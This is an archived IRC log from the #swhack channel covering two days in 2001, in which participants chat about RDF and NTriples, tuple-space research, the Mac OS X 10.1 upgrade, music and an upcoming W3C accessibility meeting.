<sbp> Tim's started on cryptograpy for CWM 01:17:54 <sbp> use what: NTriples? Because it's easy to parse. Piss easy 01:18:02 <AaronSw> Ooh, cryptography. 01:18:20 <AaronSw> Yeah, XNT or NT should be RDF interchange format 01:18:40 <sbp> http://www.w3.org/2000/10/swap/crypto.n3 01:18:49 <sbp> Heh, XNT. SURF! 01:20:08 <sbp> XML RDF should probably be binned... 01:20:28 <sbp> I guess I should call it M&S XML RDF 01:20:40 <AaronSw> Yeah... 01:21:14 <sbp> how are you doing on your perfect Python API for RDF? 01:21:30 <AaronSw> Haven't had a while to mess with it, i suppose. 01:21:57 <AaronSw> So it hasn't changed much. 01:22:03 <AaronSw> Been thinking about it though... 01:22:03 <sbp> Uh huh 01:22:36 <sbp> I've been wondering about representing literals 01:23:28 <sbp> NTriples has to be parsed into a document context now, because of the anonymous (or whatever) nodes 01:23:40 <sbp> so perhaps literals should have unique IDs too, bound to that context 01:23:43 <AaronSw> Ooh, literals -- good point. I forgot about that. 01:24:09 <AaronSw> I'll just give them URIs. ;-) 01:24:47 <sbp> well, you need to give them *some* ID. Doesn't have to be a URI, but can be 01:28:53 <sbp> the question is, "what shall we call Elky?" 01:40:50 <AaronSw> Heh! 01:41:08 <AaronSw> Terje: "Those who make a 20-line XML parser in Perl to use an XHTML document as a resource file format, where link text conveys not only minimal target information but rather a complete sentence, would do well to keep that in mind. There are several less esoteric applications for this kind of link extraction and more ways to treat a web "page" then is immediately obvious to Jakob Nielsen and the IBM tech-writer team. :-)" 01:41:37 <sbp> Heh 01:50:06 <sbp> How long do you think it will take to install 10.1? 01:53:22 <AaronSw> Umm, it didn't take that long on the other machine. Perhaps 15-30 min. 01:53:22 <AaronSw> why? 01:53:38 <sbp> Just wondered 01:53:46 <sbp> I've got to run soon 01:53:55 <sbp> The F2F starts at 9AM on Monday! 01:53:59 <sbp> Ugh 01:54:13 <AaronSw> Wow, do you have to set up a lot of stuff? 01:54:29 <sbp> I've no idea 01:54:50 <sbp> It's going to be some learning experience! Like an 8 hour teleconference, I guess 01:54:56 <AaronSw> Heh! 01:55:04 <AaronSw> Have you read the guide for W3C F2F Hosts? 01:55:16 <sbp> Sometime, I think so 01:55:25 <AaronSw> You might want to review it. 01:55:45 <sbp> * sbp does so now 01:56:09 <sbp> Ooh, name badges 01:57:41 <AaronSw> Heh! 01:57:50 <AaronSw> Aww, shoot. 01:58:07 <sbp> What? 01:58:21 <AaronSw> I overwrote my oldRDF test case with the NT version... 01:58:55 <sbp> that's good! 01:58:58 <sbp> interesting: http://www.w3.org/1999/11/19-W3C-confidentiality.html 01:59:39 <AaronSw> Indeed. 01:59:48 <AaronSw> I think I read that before... 02:00:20 <AaronSw> It's weird how Lynx gets so happy that I'm not quitting. 02:01:47 <sbp> "Do I know you from someplace?": you always say that to new people! 02:01:56 <AaronSw> Have a better suggestion? 02:02:09 <AaronSw> I need to program it into swButler. 02:02:25 <sbp> :-) 02:03:51 <sbp> that's funny, I found http://citeseer.nj.nec.com/context/16258/0 too 02:04:13 <sbp> but that's "E.J. Hernandez-Valencia" 02:05:02 <AaronSw> "Adam has been very quit (publically) since that last frekus when everybody seem to gang up on him .. even Pat Hayes" Hmm, SUO seems to have quite interesting politics! 02:05:48 <sbp> yeah... 02:07:14 <AaronSw> OK, now I'm really going to install stuff! 02:07:20 <sbp> lol 02:07:25 <AaronSw> Oh wait, never mind... 02:08:23 <AaronSw> I just thought of something else to do. 02:17:46 <tav`> SUO ? 02:19:05 <sbp> Standard Upper Ontology 02:19:10 <sbp> http://sue.ieee.org/ 02:19:14 <sbp> er... 02:19:18 <sbp> http://suo.ieee.org/ 02:37:18 <AaronSw> AaronSw has quit 02:37:24 <sbp> Homer: Purple is a fruit 02:37:57 <sbp> sbp has quit 02:45:41 <AaronSw> AaronSw has joined #swhack 02:45:58 <AaronSw> Hmm, Sean musta left 02:46:06 <AaronSw> logster, grep sbp 02:46:08 <logster> I'm logging. I found 5897 answers for 'sbp' (showing 0...4) 02:46:09 <logster> 0) 2001-09-30 02:46:06 <AaronSw> logster, grep sbp 02:46:10 <logster> 1) 2001-09-30 02:37:57 <sbp> sbp has quit 02:46:11 <logster> 2) 2001-09-30 02:37:24 <sbp> Homer: Purple is a fruit 02:46:12 <logster> 3) 2001-09-30 02:19:18 <sbp> http://suo.ieee.org/ 02:46:13 <logster> 4) 2001-09-30 02:19:14 <sbp> er... 02:46:23 <AaronSw> Oh well. 02:50:15 <AaronSw> * AaronSw waves from borrowed computer, BTW 02:50:20 <Krepta3k> Krepta3k has joined #swhack 02:50:25 <Krepta3k> Hello. :) 02:50:42 <AaronSw> Krepta3k, this channel is for hackers, not crackers (just FYI) 02:50:44 <AaronSw> hi there. 02:51:38 <AaronSw> Ahh, a freenet hacker? 02:51:43 <Krepta3k> Yeah. :) 02:51:49 <Krepta3k> I love freenet. 02:51:54 <AaronSw> Cool. 02:52:10 <tav`> heh, there are only three people who have touched freenet code in the last 6 months 02:52:10 <AaronSw> * AaronSw is more interested in Freenet-style systems that trade anonymity for speed 02:52:10 <Krepta3k> I'm trying to get an old game to allow me Full access to it's features. It's a '94 game. 02:52:20 <Krepta3k> But if that is cracking, then, I guess I should go. :)( 02:53:17 <AaronSw> Yeah, that's cracking in its truest sense, I believe. 02:53:49 <Krepta3k> Well, I don't want to bother you with that stuff then. :) 02:54:23 <AaronSw> Heh, no worries... just don't think you'll get many answers. 02:55:04 <Krepta3k> Most hackers and crackers that I've talked to are very VERY rude to newbies. :( 02:55:22 <AaronSw> Yeah, same here. I think that needs fixing... 02:55:27 <AaronSw> One person at a time, perhaps. 02:55:35 <AaronSw> * AaronSw was a newbie once ;-) 02:55:45 <AaronSw> Perhaps still! 02:57:08 <Krepta3k> There was this guy on irc.fdf.net that was totaly flameing me for haveing mentioned that I appreciated the testing facilities at GRC. I, being a newbie, had absolutely no idea that GRC was such a touchy subject among the Networking and Security community. 02:57:30 <AaronSw> Hmm. 02:57:41 <Krepta3k> I still have no idea what a "Raw Socket" is, nor how one would "Bind" one. 02:57:46 <AaronSw> Heh. 02:58:06 <AaronSw> tav, why has no one touched freenet code? 02:58:22 <Krepta3k> touched? As in cracked? 02:58:35 <AaronSw> as in modified 02:58:40 <Krepta3k> ah 02:58:51 <AaronSw> Hmm, what are people' 02:58:56 <AaronSw> Hmm, what are people's gripes against GRC? 02:59:01 <AaronSw> Haven't run into that one, yet. 02:59:32 <Krepta3k> ugh, just a bunch of stuff about bad codeing and inexperience and terrormongering or whatever. 03:00:04 <AaronSw> Ah. 03:00:54 <AaronSw> Krepta, your name Aaron, too? 03:00:59 <Krepta3k> They said that if the Networking/security community doesn't recognize you as an expert, you are not an expert. But how would you get them to recognize you? 03:01:06 <Krepta3k> Yeah. Howdyaknow? 03:01:18 <AaronSw> From #freenet 03:01:23 <Krepta3k> Ah. :) 03:01:39 <AaronSw> I've met two Aarons today after not running into any others on IRC before! 03:01:47 <Krepta3k> Wow. :) 03:02:01 <Krepta3k> I know like 4 other Aarons at church. :) 03:02:07 <AaronSw> Heh. 03:15:42 <AaronSw> * AaronSw is away: I'm busy 03:24:06 <AaronSw> * AaronSw is back (gone 00:08:24) 03:24:17 <AaronSw> Odd, must be auto-away. 03:39:46 <AaronSw> http://www.cs.yale.edu/Linda/linda.html | Website for the Linda group at Yale 03:39:53 <AaronSw> * AaronSw researches Internet-scale Linda systems 03:40:42 <AaronSw> Cool, KenM has looked at this: 03:41:00 <AaronSw> http://lwprotocols.org/linda-systems.html 03:45:14 <AaronSw> Interesting, "RDFs in XML" is given as an alternative to service descriptions: 03:45:16 <AaronSw> http://www.cs.berkeley.edu/~ravenben/research/tuplespace/sld019.htm 03:46:40 <AaronSw> Commercial Linda: http://lindaspaces.com/about/index.html 03:46:44 <AaronSw> Wow, even an OS X version. 03:49:46 <AaronSw> JXTA: http://jxtaspaces.jxta.org/ 03:50:38 <Krepta3k> Krepta3k has quit 03:51:30 <AaronSw> JavaSpaces: http://java.sun.com/products/javaspaces/ 03:51:59 <AaronSw> Seems to be part of Jini... what a mess. 03:53:10 <AaronSw> IBM research on "TSpaces": http://www.almaden.ibm.com/cs/TSpaces/ 03:54:44 <AaronSw> KenM points to xml-dist-app for questions 03:57:38 <AaronSw> Hmm, DeHora seems to be interested in this... @@email him 03:57:39 <AaronSw> http://lists.w3.org/Archives/Public/www-rdf-interest/2000Nov/0289.html 04:09:36 <AaronSw> This guy looks interesting: 04:09:37 <AaronSw> http://research.microsoft.com/~antr/coord.htm 04:10:03 <AaronSw> especially WCL, tuple streaming 04:17:20 <AaronSw> TODO: Listen to Jimi Hendrix 04:18:23 <AaronSw> Hmm, PageSpaces keeps coming up: 04:18:23 <AaronSw> http://flp.cs.tu-berlin.de/pagespc/ 04:24:31 <AaronSw> hendrix: esp voodoo child 04:37:38 <AaronSw> To read: Gelernter's "Machine Beauty" -- ask danbri how he liked it 04:38:36 <AaronSw> read: http://www.sff.net/people/Gunn/gelernter.htm 04:49:49 <AaronSw> dist-obj might also be a good place to email 04:50:35 <AaronSw> LindaTalk: Linda in squeak? 04:51:02 <AaronSw> those squeakers... 04:59:11 <AaronSw> Mark Baker: "an application protocol supporting 04:59:11 <AaronSw> tuple space semantics. The Web is a big tuple space. "GET"=read(), 04:59:11 <AaronSw> "POST"=insert(), etc.. And as all dist-obj-ers should know, tuple 04:59:11 <AaronSw> spaces are very powerful. 04:59:11 <AaronSw> " 04:59:17 <AaronSw> I had guessed as much. 05:02:34 <AaronSw> But it's hard to do queries on the Web... 05:03:03 <AaronSw> TupleSpaces will win out in the end... perhaps I can point to Web as example of great success? 05:03:09 <AaronSw> Everyone does that tho. 05:03:44 <AaronSw> Mark might know about this stuff... 05:06:08 <AaronSw> and of course, we come back to Mark Baker and Ron Resnick... these worlds are rather intertwingled. 06:13:19 <ASwartz> ASwartz has joined #swhack 06:13:49 <AaronSw> AaronSw has quit 06:14:13 <ASwartz> ASwartz is now known as AaronSw 06:14:24 <AaronSw> wtf is up with Mac OS X? 06:14:28 <AaronSw> This is really screwed up. 06:14:37 <AaronSw> Dock is on the wrong monitor 06:14:52 <AaronSw> The IE icon bounces real funky and won't stop 06:15:01 <AaronSw> it didn't recognize my airport 06:15:09 <AaronSw> hmm, looks like that bouncing is it calling for attention 06:15:10 <AaronSw> eek 06:54:03 <AaronSw> Hmm, a lot of weird cosmetic glitches 06:54:16 <AaronSw> I fixed the dock problem by moving the physical second monitor 06:54:44 <AaronSw> Much faster, much prettier. 07:01:18 <grrrrr> grrrrr has joined #swhack 07:01:33 <grrrrr> what's the project du jour? 07:07:53 <AaronSw> eh? No problem. 07:07:58 <AaronSw> What problem? 07:08:08 <AaronSw> Man, Apple really got out the GDSquad for this release. 07:08:16 <AaronSw> Everything's got updated icons and stuff. 07:17:05 <AaronSw> -- 07:17:13 <AaronSw> Icecast's HTTP implementation is really messed up. 07:17:22 <AaronSw> These are the headers it gives for an MP3 stream: 07:17:24 <AaronSw> HTTP/1.0 306 Grow up 07:17:24 <AaronSw> Server: icecast/1.3.8.beta2 07:17:24 <AaronSw> Connection: close 07:17:24 <AaronSw> Content-Type: text/html 07:17:37 <grrrrr> hmm 07:17:46 <AaronSw> The 306 response doesn't even exist -- it was proposed as a Set Proxy response but was later removed. 07:17:47 <grrrrr> wonder what my httpd sends 07:18:03 <grrrrr> oh 07:18:07 <grrrrr> didnt catch that 07:18:25 <AaronSw> Not to mention the text/html instead of x-mp3 or something. 07:18:29 <grrrrr> where's that server? 07:18:35 <grrrrr> yeah that's what caught my attention 07:18:41 <grrrrr> but if its not 200 dont read it 07:30:20 <tav`> ehm 07:30:27 <tav`> gdsquad is used outside of esp? 08:36:33 <grrrrr> grrrrr has quit 11:09:33 <deltab> deltab has quit 11:09:33 <tav> tav has quit 11:09:33 <tav`> tav` has quit 11:10:47 <deltab> deltab has joined #swhack 11:10:47 <tav> tav has joined #swhack 11:10:47 <tav`> tav` has joined #swhack 14:07:12 <AaronSw> Heh, I was wondering how long it would take tav to say that. 14:07:19 <AaronSw> Why not? It's phenomic. 14:53:34 <sbp> sbp has joined #swhack 14:54:58 <AaronSw> semanticWeb-long/Class project! 14:55:07 <AaronSw> Woo, OS X 10.1! 14:55:12 <sbp> Woo! 14:55:17 <sbp> Hey Aaron 14:55:22 <AaronSw> Hi there. 14:55:29 <sbp> So, what's 10.1 like? :-) 14:55:37 <AaronSw> It's awesome -- much prettier, faster, etc. 14:55:49 <AaronSw> I'm rocking! 14:56:16 <sbp> Cool! 14:56:45 <AaronSw> Took a while to install, so I commandeered another computer and dumped a ton of Linda space links into the channel... now to look them over. 14:57:23 <sbp> this channel is so useful! 14:57:31 <sbp> * sbp eats his Breakfast... is not at Tiffany's 14:57:41 <AaronSw> Tiffany's? 14:58:02 <AaronSw> Mac OS X even tells me the temperature (via SOAP) 14:58:23 <deltab> film, song Breakfast at Tiffany's 14:58:34 <AaronSw> Oh, right. 14:59:04 <sbp> *and* a vague Simpsons reference! 14:59:31 <deltab> [ :song dc:title "Breakfast at Tiffany's" ] 14:59:51 <AaronSw> "Audrey Hepburn plays that daring, darling Holly Golightly to a new high in entertainment delight!" 14:59:55 <AaronSw> - http://us.imdb.com/Title?0054698 15:00:38 <deltab> doh 15:00:45 <sbp> [ a :Film; dc:title "Breakfast at Tiffany's" ] . [ a :Song; dc:title "Breakfast at Tiffany's" ] . 15:00:54 <deltab> right 15:01:00 <sbp> :-) 15:01:13 <sbp> Who did the song? 15:01:25 <AaronSw> Which one? 15:01:36 <AaronSw> There's a version by Rockapella, Deep Blue SOmething, Matchbox 15:01:48 <AaronSw> Oasis, Brown Derbies, Moxy Fruvous 15:01:59 <AaronSw> Henry Mancini, Gin Blossoms 15:02:24 <AaronSw> Barenaked Ladies, Audrey Hepburn 15:02:29 <sbp> Ah, I meant the Deep Blue Something one, I think... 15:02:35 <AaronSw> Queer as Folk, Weezer 15:02:55 <AaronSw> etc. 15:03:10 <AaronSw> AudioGalazy rules. ;-) 15:03:53 <AaronSw> Interesting channel: #linuxforlesbians 15:03:57 <sbp> lol 15:04:40 <AaronSw> With a website: http://linuxforlesbians.org/ 15:05:52 <sbp> different... 15:06:06 <sbp> cool motto: "because lesbians use Linux too" 15:06:29 <AaronSw> ... Don't they? 15:06:36 <sbp> Yeah :-) 15:06:59 <deltab> I know at least one on this network 15:07:10 <sbp> they're all in #linuxforlesbians 15:08:09 <deltab> nope 15:08:32 <AaronSw> Heh, "like i'm fixin to die rag" is funny. 15:08:36 <sbp> Really? Well, what's the point of having a channel then? eh? 15:08:48 <sbp> Aaron: huh? 15:09:01 <AaronSw> It's a song. 15:09:16 <sbp> Ah, rag as in ragtime 15:09:48 <sbp> I like "Nashville Skyline Rag", but I'm not playing it right now... 15:09:56 <AaronSw> "They say the early bird gets the worm. I don't know anything about worms, but if you get to Fry's in the first 30 minutes it's open you can snag one of the last remaining 10.1 Instant-Up-To-Date packs." - Wes 15:10:06 <sbp> I've got Walking Into Clarksdale on: When I Was A Child 15:10:40 <sbp> "10.1" == "worm"? What is being implied here?! 15:10:56 <AaronSw> Heh! 15:12:03 <sbp> Ooh, F2F tomorrow... scary/exciting/etc/ 15:12:10 <sbp> s/\//. 15:12:42 <AaronSw> [[[And I said what about "Breakfast at Tiffany's? / She said, "I think I remember the film, / And as I recall, I think, we both kinda liked it." / And I said, "Well, that's the one thing we've got." ]]] 15:12:55 <sbp> yeah, that's the one 15:13:14 <AaronSw> Ohh, F2F -- fun! 15:13:25 <sbp> scary/exciting/etc. 15:13:58 <sbp> It starts at 9AM! 9AM, I tells ya! 15:14:35 <sbp> That means I'll have to go to bed at a sensible time. grgrgmrgh. I have a feeling I'm going to be a little tardy... 15:14:38 <AaronSw> That's late -- move it up to 8... or 7! 15:14:47 <sbp> Ugh 15:15:21 <AaronSw> ;-) 15:15:28 <AaronSw> Paypal files for IPO: http://www.paypal.com/html/pr-092801.html 15:15:39 <AaronSw> Robb Beal: "Does this sicken you or make you happy to know that the company will operate with greater transparency?" 15:15:46 <AaronSw> cite: http://wmf.editthispage.com/discuss/msgReader$5854 15:15:58 <deltab> do investors get the stock by e-mail? 15:16:14 <AaronSw> heh! 15:16:57 <sbp> no think about it, that would be so cool! 15:18:15 <deltab> * deltab spots another bug in musicbrainz 15:18:50 <sbp> it doesn't let you invest in it by email? 15:18:52 <AaronSw> * AaronSw discovers 20 more in OS X 15:18:56 <AaronSw> (bugs, that is) 15:26:36 <deltab> eek, *another* bug 15:26:55 <AaronSw> I hope you're reporting these, deltab? 15:27:06 <sbp> yeah, to you, right now! 15:27:19 <sbp> he's just not boring you with the details :-) 15:27:56 <AaronSw> What does it mean when an Apple employee says "Imagine your the CTO of a major platform vendor." ? 15:29:09 <sbp> they probably mean "Imagine you're the CTO of a major platform vendor." 15:29:51 <AaronSw> Thanks, sbp. I suspected that. 15:29:56 <sbp> np 15:30:07 <sbp> glad I could be of service :-) 15:30:49 <sbp> * sbp plays "Hey Bulldog" 15:31:58 <AaronSw> * AaronSw plays "All along the watchtower 15:32:03 <deltab> AaronSw: nah, I pulled down the server code and have just fixed both :-) 15:32:06 <sbp> which version? 15:32:14 <AaronSw> Even better, deltab 15:32:17 <AaronSw> ;-) 15:33:04 <AaronSw> sbp, dunno -- tav was making a fuss about Jimi Hendrix, so I thought I'd download some. 15:33:37 <sbp> Pff, get the album! 15:33:43 <sbp> Electric Ladyland 15:34:05 <sbp> SOme kind of innocence... 15:34:12 <sbp> You can talk to me! 15:36:40 <sbp> * sbp plays "I Feel Fine" 15:37:18 <AaronSw> Hmm, I'm missing "Hey Bulldog"... 15:37:22 <AaronSw> * AaronSw downloads 15:37:31 <sbp> It's on Yellow Submarine 15:39:06 <sbp> * sbp plays "Let It Be" (the album) 15:39:15 <sbp> "Two Of Us" 15:39:37 <AaronSw> Kevin Burton on supporting Web standards: "I wish we could just tell these people to either get with the program or get off the Internet. I guess we will just have to keep tightening the noose until they conform :)." 15:40:41 <deltab> hrm 15:42:29 <sbp> "Dig A Pony" 15:46:02 <AaronSw> iTunes visualizations are quite trippy. 15:46:29 <sbp> * sbp skips onto "Dig It" 15:47:24 <sbp> "Let It Be" 15:48:16 <AaronSw> * AaronSw puts on "Hey Bulldog" 15:51:24 <sbp> "Maggie Mae" 15:51:38 <AaronSw> shoot 10.1 took away wget! 15:51:43 <AaronSw> Good thing I still have curl! 15:51:49 <sbp> Hmm... 15:52:00 <sbp> "I've Got A Feeling" 15:54:39 <AaronSw> Hmm, Beatles are listed under "British Invasion" 15:54:47 <AaronSw> "After the success of the Beatles and before the rise of Acid Rock a wave of rock bands from Britain stormed the American pop charts. From the Mod-Rock of the Who to the teen pop of Herman's Hermits to the bluesey swagger of the Stones this stuff varies in style and sound, and is really defined temporaly." 15:55:06 <sbp> Hmm... 15:55:29 <AaronSw> "12524 FANS OF THIS STYLE" 15:55:33 <sbp> "One After 909"] 15:55:36 <sbp> s/]/ 15:58:30 <sbp> "The Long And Winding Road" 16:02:36 <sbp> "For You Blue" 16:04:38 <sbp> "Let It Be" 16:04:48 <sbp> er... 16:04:51 <sbp> "Get Back" 16:05:04 <AaronSw> This channel is so weird! 16:05:14 <sbp> :-) 16:05:49 <sbp> Get back, Jo-Jo! 16:06:09 <sbp> Get back to where you once belong... 16:06:11 <sbp> Get back Jo! 16:06:28 <sbp> Sweet Loretta Marvin... 16:06:41 <sbp> But she gets it while she can 16:06:56 <sbp> Get back, Loretta! 16:07:25 <sbp> Get back to where you once belong... 16:07:31 <sbp> Ooooh! 16:07:49 <sbp> "I hope we passed the audition" :-) 16:07:54 <sbp> Love it... 16:08:26 <AaronSw> "Don't Let Me Down" 16:08:52 <sbp> I usually skip that one and go straight to "Old Brown Shoe" 16:09:04 <sbp> Perhaps I shall play it now 16:09:07 <sbp> Gotta run 16:09:10 <sbp> sbp has quit 16:18:16 <AaronSw> Heh, this paper quotes danbri: "The Web is about links; the Semantic Web is about the relationships implicit in those links." 16:18:23 <AaronSw> AaronSw has left #swhack 16:18:34 <AaronSw> AaronSw has joined #swhack 16:18:38 <AaronSw> Whoops. 16:25:02 <AaronSw> OS X's barber pole progress bar makes it look like it's progressing even when it isn't. 18:21:30 <tav> tav has quit 18:21:46 <tav`> tav` has quit 18:26:18 <tav> tav has joined #swhack 19:16:45 <AaronSw> Heh: 19:16:45 <AaronSw> <ericP> amusing c++ error: nsMetaPackInst.h:37: warning: `class nsMetaPackInst' only defines a private destructor and has no friends 19:16:56 <AaronSw> Suicidal C++ code? 19:17:38 <AaronSw> * AaronSw heads outside 19:26:10 <AaronSw> <ericP> it just needed a little direction. i think it has a sense of purpose now. 19:51:04 <logster> * logster is already logging 21:40:34 <tav`> tav` has joined #swhack 22:31:07 <sbp> sbp has joined #swhack 22:32:28 <sbp> Hello, anyone? 22:36:56 <sbp> * sbp waves anyway :-) 22:54:56 <sbp> sbp has quit ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-01.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000055541�07356200110�011774� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:32:56 <logster> logster has joined #swhack 00:32:56 <forward.openprojects.net> topic is: Almost everything has a rational explanation... except for spandex 00:32:56 <forward.openprojects.net> Users on #swhack: logster tav` tav AaronSw deltab 00:37:59 <AaronSw> * AaronSw is somewhat embrassed he left his music blasting quite loud the whole time he was out for dinner 01:57:39 <AaronSw> Mark Nottingham: "Oh, I agree; the RDF stuff has been plagued by wonkishness for a long time, and it's still a big blind spot, IMHO. I feel comfortable with RDF and RDF Schema after prolonged exposure, and then they come along with something like [1]; it *is* enough to make your head hurt." 01:57:42 <AaronSw> [1] http://www.w3.org/TR/rdf-mt/ 01:58:28 <AaronSw> Bill Kearney: "Much like getting an ice-cream headache from eating cold stuff too fast, reading the RDF stuff makes my head hurt. " 01:59:36 <AaronSw> Don't worry, Mark. We can still be friends. ;-) 02:04:16 <AaronSw> Heh: 02:04:20 <AaronSw> "Britain used to "own" the USA - now Britain is the 51st state of the greatest nation on earth, in all but name. No nation is emotionally closer at the moment. I personally cried, out of shock and the affinity I feel with New York and the importance of the whole technology and economic infrastructure of the USA - this was an attack on modernity, capitalism, the human spirit of progress. The world's problems can be solved by technology, and it wi 02:04:20 <AaronSw> itual and technological emancipation of humankind." 02:04:23 <AaronSw> - http://wmf.editthispage.com/discuss/msgReader$5848 02:10:20 <AaronSw> Wow: http://www.wired.com/news/culture/0,1284,46412,00.html 06:15:14 <tav> tav has quit 06:42:27 <tav> tav has joined #swhack 07:17:44 <tav`> tav` has quit 07:35:52 <sbp> sbp has joined #swhack 07:36:10 <sbp> WFM, it's 8:37AM. AM! 07:37:25 <sbp> * sbp gets ready for the F2F 07:38:13 <sbp> lol! 07:39:18 <sbp> "EARL, EARL, EARL!" - http://lists.w3.org/Archives/Public/www-validator/2001OctDec/0000 07:39:44 <sbp> * sbp fumbles for the reference. It's not even 9AM yet! Aaaaaaargh! 07:39:56 <sbp> The sun's in the wrong place! It should be in the West! 07:40:09 <sbp> Er... if it wasn't cloudy, that is... 07:47:07 <sbp> Well, here goes! 07:47:10 <sbp> Gotta run 07:47:12 <sbp> sbp has quit 08:03:33 <tav`> tav` has joined #swhack 12:08:29 <sbp> sbp has joined #swhack 12:11:56 <sbp> sbp has quit 12:46:29 <Davincii> Davincii has joined #swhack 12:48:45 <Davincii> Davincii has left #swhack 13:02:44 <AaronSw> AaronSw has quit 13:02:57 <AaronSw> AaronSw has joined #swhack 13:24:32 <AaronSw> I didn't know Libby was in WAI! 13:30:41 <AaronSw> """A FAQ, pronounced either "fack" or "eff aye cue," """ - http://www.w3.org/Consortium/W3C-FAQs 13:31:18 <AaronSw> I dunno about you, but to me that looks like someone going to great lengths to swear. 13:41:41 <Morbus> Morbus has joined #swhack 13:42:58 <Morbus> 10.1? 13:44:41 <AaronSw> 10.1! 13:46:07 <Morbus> whoo! 13:46:15 <AaronSw> devtools? 13:46:18 <Morbus> i came in here saturday and no one was around. 13:46:21 <Morbus> not yet. not on adc. 13:46:22 <Morbus> you? 13:46:38 <AaronSw> yeah, saw your message from sat. 13:46:47 <AaronSw> no devtools :-( 13:46:51 <Morbus> poo. 13:46:57 <Morbus> love the script menu though 13:47:06 <Morbus> my biggest beef so far is that singleclicking on the clock doesn't show the date 13:47:14 <Morbus> other than that, insanely faster here. 13:47:24 <AaronSw> well it does sorta show the date -- but i agree it's annoying 13:47:38 <Morbus> yeah, it shows sunday, right? 13:47:49 <Morbus> or monday or whatever 13:47:55 <Morbus> oh. bwahah 13:47:56 <Morbus> ok. nevermind. 13:48:02 <Morbus> i never noticed that. 13:48:08 <Morbus> hehe. i'm stupid. 13:48:26 <AaronSw> heh 13:48:34 <AaronSw> But it doesn't format the date right! 13:49:08 <Morbus> heheheh... 13:49:21 <Morbus> i'm not sure i like the new alt-tab behavior either. 13:49:33 <AaronSw> what's the difference? 13:49:41 <Morbus> or rahter, the visual with the dock 13:49:45 <Morbus> but the script menu rocks, that it does ;) 13:49:56 <Morbus> wish i knew applescript. 13:49:56 <Morbus> trying to find a site that will show new as creations all the time. 13:50:00 <Morbus> crap that i could stick up there 13:50:10 <AaronSw> ? 13:50:20 <Morbus> an alt-tab adds this jarring popup of the curr. selected app in the doc 13:50:36 <AaronSw> I thought it always did that. 13:51:28 <Morbus> not to me. well, at least, not this jarrring like. 13:51:35 <AaronSw> hmm 13:51:48 <Morbus> i think before it justshowed the name over the app, as opposed to magnifying the app 13:56:08 <AaronSw> Oh... perhaps 13:56:17 <AaronSw> I have magnification off, so it doesn't magnify for me. 13:56:39 <Morbus> aaah. ok. 13:56:49 <Morbus> i have so many things in my dock that it's on the smallest setting. 13:56:54 <Morbus> so i need a tiny bit of magnify 13:57:22 <Morbus> have you noticed, at least on my box, that anything that says to open up the prefs in system prefs DOESN't work? 13:57:24 <AaronSw> eek 13:57:35 <Morbus> like, apple > dock > dock preferences 13:57:38 <Morbus> doesn't work. 13:57:40 <AaronSw> hmm, yes 13:59:15 <Morbus> they removed the option to ignore permissions on the entire hd. 13:59:27 <Morbus> now i can't delete crappy default screensavers without using the shell 13:59:37 <Morbus> or gui-logging in as root 13:59:38 <AaronSw> hmm, i didn't know that existed 13:59:47 <AaronSw> don't you always use the shell? ;) 13:59:51 <Morbus> yah, it was on a getinfo of the hd. 13:59:52 <Morbus> hehehe 14:00:07 <Morbus> i still use eudora for mail. 14:00:29 <AaronSw> hmm, i might have to start using finder now that it's usable 14:01:36 <AaronSw> ok, gotta run 14:05:25 <Morbus> Morbus has quit 16:49:49 <sbp> sbp has joined #swhack 16:55:18 <sbp> Gotta run 16:56:53 <Morbus> Morbus has joined #swhack 16:58:19 <sbp> sbp has quit 17:39:41 <Morbus> Morbus has left #swhack 17:49:01 <AaronSw> hi 18:13:47 <AaronSw> AaronSw has changed the topic to: With your host, sbp, reporting live from the W3C WAI F2F in Brighton, UK! Let's give him a round of applause... 19:29:49 <tav`> ehm 19:30:01 <tav`> W3c WAI F2F ? 19:30:28 <AaronSw> yeah. 19:30:39 <AaronSw> see http://www.w3.org/WAI/ 19:31:48 <AaronSw> what about that don't you get, tav? 19:32:54 <tav`> right 19:32:59 <tav`> what's F2F ? 19:33:13 <AaronSw> Face 2 Face 19:42:40 <tav`> right 21:03:30 <AaronSw> AaronSw has changed the topic to: Happy binary day! (01-10-01) | With your host, sbp, reporting live from the W3C WAI F2F in Brighton, UK! Let's give him a round of applause... 21:15:04 <AaronSw> (that's 25 in base 10, btw) 22:00:47 <sbp> sbp has joined #swhack 22:01:07 <sbp> * sbp bows 22:01:15 <sbp> lol @ "binary day" 22:01:24 <sbp> Happy binary day, Aaron! 22:01:36 <AaronSw> Hey sean! 22:01:39 <sbp> Hi there 22:01:43 <AaronSw> How's it going? 22:02:00 <sbp> I'm so tired! But it's been fun 22:02:15 <AaronSw> I bet... your enjoyment is infectious. ;) 22:02:28 <sbp> ? 22:02:45 <AaronSw> Never mind. 22:02:50 <sbp> :-) 22:03:23 <AaronSw> I didn't know Libby was coming. 22:03:43 <sbp> Yeah, and possibly DanBri tomorrow 22:03:49 <AaronSw> Neato! 22:04:06 <sbp> I saw a milkman this morning! A milkman! 22:04:17 <AaronSw> They're rare around your parts? 22:04:33 <sbp> They're rare at the time of day that I'm usually up for :-) 22:04:45 <AaronSw> Heh. I've heard of their existance, but not seen one. 22:05:08 <AaronSw> So another Jewish Holiday tonight... I guess I'll miss the rest of the F2F. :-( 22:05:11 <sbp> and I saw a few squirrels, and a woodpecker 22:05:22 <AaronSw> See what happens when you wake up early! 22:05:25 <sbp> Jewish Holiday: which one now? 22:05:40 <sbp> what happens - I get very tired! 22:05:40 <AaronSw> Sukkot. At least it's a fun one. 22:05:45 <AaronSw> Heh. 22:05:59 <AaronSw> I dunno, I remember Sukkot coming later last year. 22:06:17 <sbp> "This festival is sometimes referred to as Zeman Simkhateinu, the Season of our Rejoicing." - http://www.jewfaq.org/holiday5.htm 22:06:35 <sbp> Hmm... five days after Yom Kippur. Does Yom Kippur have a variable date? 22:06:47 <AaronSw> Well, it's not variable, but it's on a lunar calendar. 22:06:57 <AaronSw> (At least I don't think it's variable.) 22:07:05 <sbp> Ah 22:07:07 <AaronSw> But it seems variable to people on a solar calendar. 22:07:16 <sbp> Yeah :-) 22:07:56 <sbp> DaveP managed to create an XML representation of our two level tier diagram, and produce an XSLT sheet to display it 22:08:17 <AaronSw> Neat. Two-tier diagram? 22:08:26 <sbp> Al gave a talk about Device Independence, and the User => Target Service process 22:08:35 <sbp> Two tier: the scope of XML GL... 22:08:47 <sbp> (or whatever; we might not be calling it XMLGL even) 